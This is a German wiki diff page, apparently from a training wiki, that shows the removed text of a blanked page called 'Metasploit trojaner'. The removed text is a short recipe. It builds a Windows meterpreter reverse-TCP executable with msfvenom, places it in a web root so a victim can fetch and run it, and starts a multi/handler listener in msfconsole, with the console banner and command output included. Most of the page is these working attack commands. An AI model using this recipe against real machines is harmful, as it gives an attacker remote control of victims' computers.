Metasploit trojaner: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
(Die Seite wurde geleert.)
 
(24 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt)
Zeile 1: Zeile 1:
=Payload erstellen=
 
*msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.81.1.91 LPORT=4444 -f exe > shell.exe
 
*cp shell.exe /var/www/html/
 
=Payload auf den Opfer Rechner bringen und ausführen=
 
[[Datei:metasploit-101.png]]
 
  
=Konsole starten=
 
*msfconsole
 
<pre>
 
Code: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N4 00 00 00 00
 
Aiee, Killing Interrupt handler
 
Kernel panic: Attempted to kill the idle task!
 
In swapper task - not syncing
 
 
 
      =[ metasploit v4.16.6-dev                          ]
 
+ -- --=[ 1682 exploits - 964 auxiliary - 297 post        ]
 
+ -- --=[ 498 payloads - 40 encoders - 10 nops            ]
 
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
 
</pre>
 
*msf > use exploit/multi/handler
 
*msf exploit(handler) > set PAYLOAD windows/meterpreter/rev
 
*msf exploit(handler) > set LHOST 10.81.0.91
 
LHOST => 10.81.0.91
 
*msf exploit(handler) > set LPORT 4444
 
LPORT => 4444
 

Aktuelle Version vom 8. November 2017, 14:02 Uhr